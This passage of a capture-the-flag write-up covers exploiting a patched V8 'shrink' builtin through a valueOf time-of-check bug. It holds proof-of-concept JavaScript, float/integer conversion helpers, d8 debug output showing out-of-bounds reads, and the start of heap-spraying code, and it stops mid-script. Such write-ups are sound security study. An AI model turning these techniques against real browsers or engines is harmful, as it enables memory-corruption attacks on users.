    <span class="mh">0x80d00000d99</span><span class="p">:</span> <span class="p">[</span><span class="nb">String</span><span class="p">]</span> <span class="k">in</span> <span class="nx">ReadOnlySpace</span><span class="p">:</span> <span class="err">#</span><span class="nx">length</span><span class="p">:</span> <span class="mh">0x080d00025fed</span> <span class="o">&lt;</span><span class="nx">AccessorInfo</span> <span class="nx">name</span><span class="o">=</span> <span class="mh">0x080d00000d99</span> <span class="o">&lt;</span><span class="nb">String</span><span class="p">[</span><span class="mi">6</span><span class="p">]:</span> <span class="err">#</span><span class="nx">length</span><span class="o">&gt;</span><span class="p">,</span> <span class="nx">data</span><span class="o">=</span> <span class="mh">0x080d00000069</span> <span class="o">&lt;</span><span class="kc">undefined</span><span class="o">&gt;&gt;</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">accessor</span> <span class="nx">descriptor</span><span class="p">,</span> <span class="nx">attrs</span><span class="p">:</span> <span class="p">[</span><span class="nx">W__</span><span class="p">]),</span> <span class="nx">location</span><span class="p">:</span> <span class="nx">descriptor</span>
 <span class="p">}</span>
 <span class="o">-</span> <span class="nx">elements</span><span class="p">:</span> <span class="mh">0x080d001d3571</span> <span class="o">&lt;</span><span class="nx">FixedArray</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="o">&gt;</span> <span class="p">{</span>  <span class="o">&lt;-------</span> <span class="nx">NUMBER</span> <span class="nx">OF</span> <span class="nx">ELEMENTS</span> <span class="nx">IS</span> <span class="nx">jSTILL</span> <span class="nx">FOUR</span>
           <span class="mi">0</span><span class="p">:</span> <span class="mi">1</span>
           <span class="mi">1</span><span class="p">:</span> <span class="mi">2</span>
           <span class="mi">2</span><span class="p">:</span> <span class="mi">3</span>
           <span class="mi">3</span><span class="p">:</span> <span class="mi">4</span>
 <span class="p">}</span>
<span class="p">...</span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="nx">d8</span><span class="o">&gt;</span> <span class="nx">arr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="kc">undefined</span>
</code></pre></div></div>

<p>At this point we were thinking it might be possible that the garbage collector could free these objects and we could somehow get UAF on them, and maybe there were other methods in v8 that operate on the number of elements rather than the length of the array. But it seemed like they wouldn’t be garbage collected because they were still referenced in elements array on the JSArray object.</p>

<h1 id="searching-for-clues">Searching for Clues</h1>

<p>I was pretty lost on how this code could be vulnerable… so I went searching for other writeups to see if I could find anything, and stumbled across a writeup for a similar challenge: <a href="https://lyra.horse/blog/2024/05/exploiting-v8-at-openecsc/">https://lyra.horse/blog/2024/05/exploiting-v8-at-openecsc/</a>.</p>

<p>Here is the patch for that challenge:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BUILTIN</span><span class="p">(</span><span class="n">ArrayXor</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">HandleScope</span> <span class="n">scope</span><span class="p">(</span><span class="n">isolate</span><span class="p">);</span>
  <span class="n">Factory</span> <span class="o">*</span><span class="n">factory</span> <span class="o">=</span> <span class="n">isolate</span><span class="o">-&gt;</span><span class="n">factory</span><span class="p">();</span>
  <span class="n">Handle</span><span class="o">&lt;</span><span class="n">Object</span><span class="o">&gt;</span> <span class="n">receiver</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">receiver</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IsJSArray</span><span class="p">(</span><span class="o">*</span><span class="n">receiver</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="n">HasOnlySimpleReceiverElements</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">JSArray</span><span class="o">::</span><span class="n">cast</span><span class="p">(</span><span class="o">*</span><span class="n">receiver</span><span class="p">)))</span> <span class="p">{</span>
    <span class="n">THROW_NEW_ERROR_RETURN_FAILURE</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">NewTypeError</span><span class="p">(</span><span class="n">MessageTemplate</span><span class="o">::</span><span class="n">kPlaceholderOnly</span><span class="p">,</span>
      <span class="n">factory</span><span class="o">-&gt;</span><span class="n">NewStringFromAsciiChecked</span><span class="p">(</span><span class="s">"Nope"</span><span class="p">)));</span>
  <span class="p">}</span>
  <span class="n">Handle</span><span class="o">&lt;</span><span class="n">JSArray</span><span class="o">&gt;</span> <span class="n">array</span> <span class="o">=</span> <span class="n">Handle</span><span class="o">&lt;</span><span class="n">JSArray</span><span class="o">&gt;::</span><span class="n">cast</span><span class="p">(</span><span class="n">receiver</span><span class="p">);</span>
  <span class="n">ElementsKind</span> <span class="n">kind</span> <span class="o">=</span> <span class="n">array</span><span class="o">-&gt;</span><span class="n">GetElementsKind</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">kind</span> <span class="o">!=</span> <span class="n">PACKED_DOUBLE_ELEMENTS</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">THROW_NEW_ERROR_RETURN_FAILURE</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">NewTypeError</span><span class="p">(</span><span class="n">MessageTemplate</span><span class="o">::</span><span class="n">kPlaceholderOnly</span><span class="p">,</span>
      <span class="n">factory</span><span class="o">-&gt;</span><span class="n">NewStringFromAsciiChecked</span><span class="p">(</span><span class="s">"Array.xor needs array of double numbers"</span><span class="p">)));</span>
  <span class="p">}</span>
  <span class="c1">// Array.xor() needs exactly 1 argument</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">length</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">THROW_NEW_ERROR_RETURN_FAILURE</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">NewTypeError</span><span class="p">(</span><span class="n">MessageTemplate</span><span class="o">::</span><span class="n">kPlaceholderOnly</span><span class="p">,</span>
      <span class="n">factory</span><span class="o">-&gt;</span><span class="n">NewStringFromAsciiChecked</span><span class="p">(</span><span class="s">"Array.xor needs exactly one argument"</span><span class="p">)));</span>
  <span class="p">}</span>
  <span class="c1">// Get array len</span>
  <span class="kt">uint32_t</span> <span class="n">length</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">Object</span><span class="o">::</span><span class="n">Number</span><span class="p">(</span><span class="n">array</span><span class="o">-&gt;</span><span class="n">length</span><span class="p">()));</span>
  <span class="c1">// Get xor value</span>
  <span class="n">Handle</span><span class="o">&lt;</span><span class="n">Object</span><span class="o">&gt;</span> <span class="n">xor_val_obj</span><span class="p">;</span>
  <span class="n">ASSIGN_RETURN_FAILURE_ON_EXCEPTION</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">xor_val_obj</span><span class="p">,</span> <span class="n">Object</span><span class="o">::</span><span class="n">ToNumber</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">args</span><span class="p">.</span><span class="n">at</span><span class="p">(</span><span class="mi">1</span><span class="p">)));</span>
  <span class="kt">uint64_t</span> <span class="n">xor_val</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint64_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">Object</span><span class="o">::</span><span class="n">Number</span><span class="p">(</span><span class="o">*</span><span class="n">xor_val_obj</span><span class="p">));</span>
  <span class="c1">// Ah yes, xoring doubles..</span>
  <span class="n">Handle</span><span class="o">&lt;</span><span class="n">FixedDoubleArray</span><span class="o">&gt;</span> <span class="n">elements</span><span class="p">(</span><span class="n">FixedDoubleArray</span><span class="o">::</span><span class="n">cast</span><span class="p">(</span><span class="n">array</span><span class="o">-&gt;</span><span class="n">elements</span><span class="p">()),</span> <span class="n">isolate</span><span class="p">);</span>
  <span class="n">FOR_WITH_HANDLE_SCOPE</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="kt">uint32_t</span><span class="p">,</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">length</span><span class="p">,</span> <span class="n">i</span><span class="o">++</span><span class="p">,</span> <span class="p">{</span>
    <span class="kt">double</span> <span class="n">x</span> <span class="o">=</span> <span class="n">elements</span><span class="o">-&gt;</span><span class="n">get_scalar</span><span class="p">(</span><span class="n">i</span><span class="p">);</span>
    <span class="kt">uint64_t</span> <span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">x</span><span class="p">)</span> <span class="o">^</span> <span class="n">xor_val</span><span class="p">;</span>
    <span class="n">elements</span><span class="o">-&gt;</span><span class="n">set</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="kt">double</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">result</span><span class="p">);</span>
  <span class="p">});</span>

  <span class="k">return</span> <span class="nf">ReadOnlyRoots</span><span class="p">(</span><span class="n">isolate</span><span class="p">).</span><span class="n">undefined_value</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This is very similar, it does the same kind of checks to make sure the builtin is being called on a JSArray and then casts the argument to a Number type. The author of this writeup exploits a TOCTOU this code by setting a ‘valueOf’ property on a Map type:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">evil</span> <span class="o">=</span> <span class="p">{</span>
     <span class="na">valueOf</span><span class="p">:</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
       <span class="nx">arr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
       <span class="k">return</span> <span class="mi">1337</span><span class="p">;</span>
     <span class="p">}</span>
   <span class="p">}</span>
</code></pre></div></div>

<p>This allows her to modify the array the builtin is called on after the code checks that the array only contains doubles and get it to do the xor operation on a map object, corrupting the pointer to the object.</p>

<h1 id="snap-back-to-reality">Snap Back to Reality</h1>

<p>Now, back to the challenge we are working on, it turns out we can do something pretty similar:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1">// read length of array</span>
  <span class="kt">uint32_t</span> <span class="n">old_len</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">Object</span><span class="o">::</span><span class="n">NumberValue</span><span class="p">(</span><span class="n">array</span><span class="o">-&gt;</span><span class="n">length</span><span class="p">()));</span>

  <span class="c1">// argument is casted to a number type, we can remove elements in a valueOf method from the array and still return whatever length we want new_len to be</span>
  <span class="n">Handle</span><span class="o">&lt;</span><span class="n">Object</span><span class="o">&gt;</span> <span class="n">new_len_obj</span><span class="p">;</span>
  <span class="n">ASSIGN_RETURN_FAILURE_ON_EXCEPTION</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">new_len_obj</span><span class="p">,</span> <span class="n">Object</span><span class="o">::</span><span class="n">ToNumber</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">args</span><span class="p">.</span><span class="n">at</span><span class="p">(</span><span class="mi">1</span><span class="p">)));</span>
  <span class="kt">uint32_t</span> <span class="n">new_len</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">Object</span><span class="o">::</span><span class="n">NumberValue</span><span class="p">(</span><span class="o">*</span><span class="n">new_len_obj</span><span class="p">));</span>

  <span class="c1">// checks against old_len which was read before we modified the array in the valueOf method</span>
  <span class="c1">// if we remove all elements from the array but then return new_len as old_len-1 we still pass this check</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">new_len</span> <span class="o">&gt;=</span> <span class="n">old_len</span><span class="p">){</span>
    <span class="n">THROW_NEW_ERROR_RETURN_FAILURE</span><span class="p">(</span>
      <span class="n">isolate</span><span class="p">,</span> <span class="n">NewTypeError</span><span class="p">(</span><span class="n">MessageTemplate</span><span class="o">::</span><span class="n">kPlaceholderOnly</span><span class="p">,</span>
      <span class="n">factory</span><span class="o">-&gt;</span><span class="n">NewStringFromAsciiChecked</span><span class="p">(</span><span class="s">"invalid length"</span><span class="p">))</span>
    <span class="p">);</span>
  <span class="p">}</span>

  <span class="n">array</span><span class="o">-&gt;</span><span class="n">set_length</span><span class="p">(</span><span class="n">Smi</span><span class="o">::</span><span class="n">FromInt</span><span class="p">(</span><span class="n">new_len</span><span class="p">));</span>
</code></pre></div></div>

<p>Here is a small PoC I used to demonstrate it was possible to trigger this bug:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">arr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Array</span><span class="p">(</span><span class="mi">2000</span><span class="p">).</span><span class="nf">fill</span><span class="p">({});</span>
<span class="nx">evil</span> <span class="o">=</span> <span class="p">{</span> <span class="nf">valueOf</span><span class="p">()</span> <span class="p">{</span> <span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">1999</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">arr</span><span class="p">.</span><span class="nf">pop</span><span class="p">();</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">1999</span><span class="p">;</span> <span class="p">}</span> <span class="p">};</span>
<span class="nx">arr</span><span class="p">.</span><span class="nf">shrink</span><span class="p">(</span><span class="nx">evil</span><span class="p">)</span>
<span class="o">%</span><span class="nc">DebugPrint</span><span class="p">(</span><span class="nx">arr</span><span class="p">);</span>
</code></pre></div></div>

<p>This is the output:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">DebugPrint</span><span class="p">:</span> <span class="mh">0x4ec00042bb9</span><span class="p">:</span> <span class="p">[</span><span class="nx">JSArray</span><span class="p">]</span>
 <span class="o">-</span> <span class="nx">map</span><span class="p">:</span> <span class="mh">0x04ec001cb92d</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">16</span><span class="p">](</span><span class="nx">HOLEY_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span> <span class="p">[</span><span class="nx">FastProperties</span><span class="p">]</span>
 <span class="o">-</span> <span class="nx">prototype</span><span class="p">:</span> <span class="mh">0x04ec001cb1c5</span> <span class="o">&lt;</span><span class="nx">JSArray</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&gt;</span>
 <span class="o">-</span> <span class="nx">elements</span><span class="p">:</span> <span class="mh">0x04ec00042bc9</span> <span class="o">&lt;</span><span class="nx">FixedArray</span><span class="p">[</span><span class="mi">18</span><span class="p">]</span><span class="o">&gt;</span> <span class="p">[</span><span class="nx">HOLEY_ELEMENTS</span><span class="p">]</span>
 <span class="o">-</span> <span class="nx">length</span><span class="p">:</span> <span class="mi">1999</span>
 <span class="o">-</span> <span class="nx">properties</span><span class="p">:</span> <span class="mh">0x04ec00000725</span> <span class="o">&lt;</span><span class="nx">FixedArray</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&gt;</span>
 <span class="o">-</span> <span class="nx">All</span> <span class="nx">own</span> <span class="nf">properties </span><span class="p">(</span><span class="nx">excluding</span> <span class="nx">elements</span><span class="p">):</span> <span class="p">{</span>
    <span class="mh">0x4ec00000d99</span><span class="p">:</span> <span class="p">[</span><span class="nb">String</span><span class="p">]</span> <span class="k">in</span> <span class="nx">ReadOnlySpace</span><span class="p">:</span> <span class="err">#</span><span class="nx">length</span><span class="p">:</span> <span class="mh">0x04ec00025fed</span> <span class="o">&lt;</span><span class="nx">AccessorInfo</span> <span class="nx">name</span><span class="o">=</span> <span class="mh">0x04ec00000d99</span> <span class="o">&lt;</span><span class="nb">String</span><span class="p">[</span><span class="mi">6</span><span class="p">]:</span> <span class="err">#</span><span class="nx">length</span><span class="o">&gt;</span><span class="p">,</span> <span class="nx">data</span><span class="o">=</span> <span class="mh">0x04ec00000069</span> <span class="o">&lt;</span><span class="kc">undefined</span><span class="o">&gt;&gt;</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">accessor</span> <span class="nx">descriptor</span><span class="p">,</span> <span class="nx">attrs</span><span class="p">:</span> <span class="p">[</span><span class="nx">W__</span><span class="p">]),</span> <span class="nx">location</span><span class="p">:</span> <span class="nx">descriptor</span>
 <span class="p">}</span>
 <span class="o">-</span> <span class="nx">elements</span><span class="p">:</span> <span class="mh">0x04ec00042bc9</span> <span class="o">&lt;</span><span class="nx">FixedArray</span><span class="p">[</span><span class="mi">18</span><span class="p">]</span><span class="o">&gt;</span> <span class="p">{</span>
           <span class="mi">0</span><span class="p">:</span> <span class="mh">0x04ec00044b11</span> <span class="o">&lt;</span><span class="nb">Object</span> <span class="nx">map</span> <span class="o">=</span> <span class="mh">0x4ec001c0f6d</span><span class="o">&gt;</span>
        <span class="mi">1</span><span class="o">-</span><span class="mi">17</span><span class="p">:</span> <span class="mh">0x04ec00000741</span> <span class="o">&lt;</span><span class="nx">the_hole_value</span><span class="o">&gt;</span>
 <span class="p">}</span>
 <span class="p">...</span>
</code></pre></div></div>

<p>Notice that the length is 1999, while the number of elements in the JSArray is only 18.</p>

<p>If I try and access one index past the end of the elements list, I get a crash:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">&gt;</span> <span class="nx">arr</span><span class="p">[</span><span class="mi">18</span><span class="p">]</span>
<span class="nx">abort</span><span class="p">:</span> <span class="nx">Unexpected</span> <span class="nx">instance</span> <span class="nx">type</span> <span class="nx">encountered</span>

<span class="o">====</span> <span class="nx">JS</span> <span class="nx">stack</span> <span class="nx">trace</span> <span class="o">=========================================</span>

    <span class="mi">0</span><span class="p">:</span> <span class="nx">ExitFrame</span> <span class="p">[</span><span class="nx">pc</span><span class="p">:</span> <span class="mh">0x61c163bedbf6</span><span class="p">]</span>
    <span class="mi">1</span><span class="p">:</span> <span class="nx">StubFrame</span> <span class="p">[</span><span class="nx">pc</span><span class="p">:</span> <span class="mh">0x61c163b5398f</span><span class="p">]</span>
    <span class="mi">2</span><span class="p">:</span> <span class="nc">Stringify</span><span class="p">(</span><span class="nx">aka</span> <span class="nx">Stringify</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x4ec0004570d</span><span class="p">]</span> <span class="p">[</span><span class="nx">d8</span><span class="o">-</span><span class="nx">stringify</span><span class="p">:</span><span class="o">~</span><span class="mi">23</span><span class="p">]</span> <span class="p">[</span><span class="nx">pc</span><span class="o">=</span><span class="mh">0x61c1c3b401ce</span><span class="p">](</span><span class="k">this</span><span class="o">=</span><span class="mh">0x04ec00000069</span> <span class="o">&lt;</span><span class="kc">undefined</span><span class="o">&gt;</span><span class="p">,</span><span class="mh">0x04ec00000971</span> <span class="o">&lt;</span><span class="nc">Map</span><span class="p">(</span><span class="nx">FREE_SPACE_TYPE</span><span class="p">)</span><span class="o">&gt;</span><span class="err">#</span><span class="mi">0</span><span class="err">#</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span>
    <span class="mi">3</span><span class="p">:</span> <span class="nx">InternalFrame</span> <span class="p">[</span><span class="nx">pc</span><span class="p">:</span> <span class="mh">0x61c163b4e01c</span><span class="p">]</span>
    <span class="mi">4</span><span class="p">:</span> <span class="nx">EntryFrame</span> <span class="p">[</span><span class="nx">pc</span><span class="p">:</span> <span class="mh">0x61c163b4dd5f</span><span class="p">]</span>
</code></pre></div></div>

<p>Which seems good?</p>

<p>My teammates also shared this writeup <a href="https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/">https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/</a> in which they are given an out-of-bounds primitive and use an array of double type elements to do out-of-bounds reads and writes. I borrowed some helper methods for converting between floats and integers from them.</p>

<p>Here is a modified PoC using doubles and the helper methods:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">);</span> <span class="c1">// 8 byte array buffer</span>
<span class="kd">var</span> <span class="nx">f64_buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Float64Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">u64_buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Uint32Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">);</span>

<span class="kd">function</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span> <span class="nx">f64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">val</span><span class="p">;</span> <span class="k">return</span> <span class="nc">BigInt</span><span class="p">(</span><span class="nx">u64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="p">(</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">u64_buf</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span> <span class="p">}</span>
<span class="kd">function</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span> <span class="nx">u64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nc">Number</span><span class="p">(</span><span class="nx">val</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">);</span> <span class="nx">u64_buf</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nc">Number</span><span class="p">(</span><span class="nx">val</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span> <span class="k">return</span> <span class="nx">f64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="p">}</span>

<span class="nx">arr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Array</span><span class="p">(</span><span class="mi">2000</span><span class="p">).</span><span class="nf">fill</span><span class="p">(</span><span class="mf">1.1</span><span class="p">);</span>
<span class="nx">evil</span> <span class="o">=</span> <span class="p">{</span> <span class="nf">valueOf</span><span class="p">()</span> <span class="p">{</span> <span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">1999</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">arr</span><span class="p">.</span><span class="nf">pop</span><span class="p">();</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">1999</span><span class="p">;</span> <span class="p">}</span> <span class="p">};</span>
<span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">17</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">27</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">before </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">: 0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">]).</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span> <span class="p">}</span>
<span class="nx">arr</span><span class="p">.</span><span class="nf">shrink</span><span class="p">(</span><span class="nx">evil</span><span class="p">)</span>
<span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">17</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">27</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">after </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">: 0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">]).</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span> <span class="p">}</span>
</code></pre></div></div>

<p>this produces output that looks like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8&gt; before 0: 0x3ff199999999999a
before 1: 0x3ff199999999999a
before 2: 0x3ff199999999999a
before 3: 0x3ff199999999999a
before 4: 0x3ff199999999999a
before 5: 0x3ff199999999999a
before 6: 0x3ff199999999999a
before 7: 0x3ff199999999999a
before 8: 0x3ff199999999999a
before 9: 0x3ff199999999999a
before 10: 0x3ff199999999999a
before 11: 0x3ff199999999999a
before 12: 0x3ff199999999999a
before 13: 0x3ff199999999999a
before 14: 0x3ff199999999999a
before 15: 0x3ff199999999999a
before 16: 0x3ff199999999999a
before 17: 0x3ff199999999999a
before 18: 0x3ff199999999999a
before 19: 0x3ff199999999999a
undefined
d8&gt; undefined
d8&gt; after 0: 0x3ff199999999999a
after 1: 0x7ff8000000000000
after 2: 0x7ff8000000000000
after 3: 0x7ff8000000000000
after 4: 0x7ff8000000000000
after 5: 0x7ff8000000000000
after 6: 0x7ff8000000000000
after 7: 0x7ff8000000000000
after 8: 0x7ff8000000000000
after 9: 0x7ff8000000000000
after 10: 0x7ff8000000000000
after 11: 0x7ff8000000000000
after 12: 0x7ff8000000000000
after 13: 0x7ff8000000000000
after 14: 0x7ff8000000000000
after 15: 0x7ff8000000000000
after 16: 0x7ff8000000000000
after 17: 0x7ff8000000000000
after 18: 0xc000000971
after 19: 0x7ff8000000000000
undefined
d8&gt;
</code></pre></div></div>
<p>So we are now able to view data out-of-bounds of our array, most of which looks the same, this is probably related to <code class="language-plaintext highlighter-rouge">the_hole_value</code>, the value javascript uses as a filler element when resizing arrays. These elements were just recently freed though, so I figured we should see if we can reclaim them.</p>

<p>I have no idea how the allocator works in v8 so I just tried allocating a ton of arrays to see if eventually it would get reclaimed by other data:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">);</span> <span class="c1">// 8 byte array buffer</span>
<span class="kd">var</span> <span class="nx">f64_buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Float64Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">u64_buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Uint32Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">);</span>

<span class="kd">function</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span> <span class="nx">f64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">val</span><span class="p">;</span> <span class="k">return</span> <span class="nc">BigInt</span><span class="p">(</span><span class="nx">u64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="p">(</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">u64_buf</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span> <span class="p">}</span>
<span class="kd">function</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span> <span class="nx">u64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nc">Number</span><span class="p">(</span><span class="nx">val</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">);</span> <span class="nx">u64_buf</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nc">Number</span><span class="p">(</span><span class="nx">val</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span> <span class="k">return</span> <span class="nx">f64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="p">}</span>

<span class="nx">arr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Array</span><span class="p">(</span><span class="mi">2000</span><span class="p">).</span><span class="nf">fill</span><span class="p">(</span><span class="mf">1.1</span><span class="p">);</span>
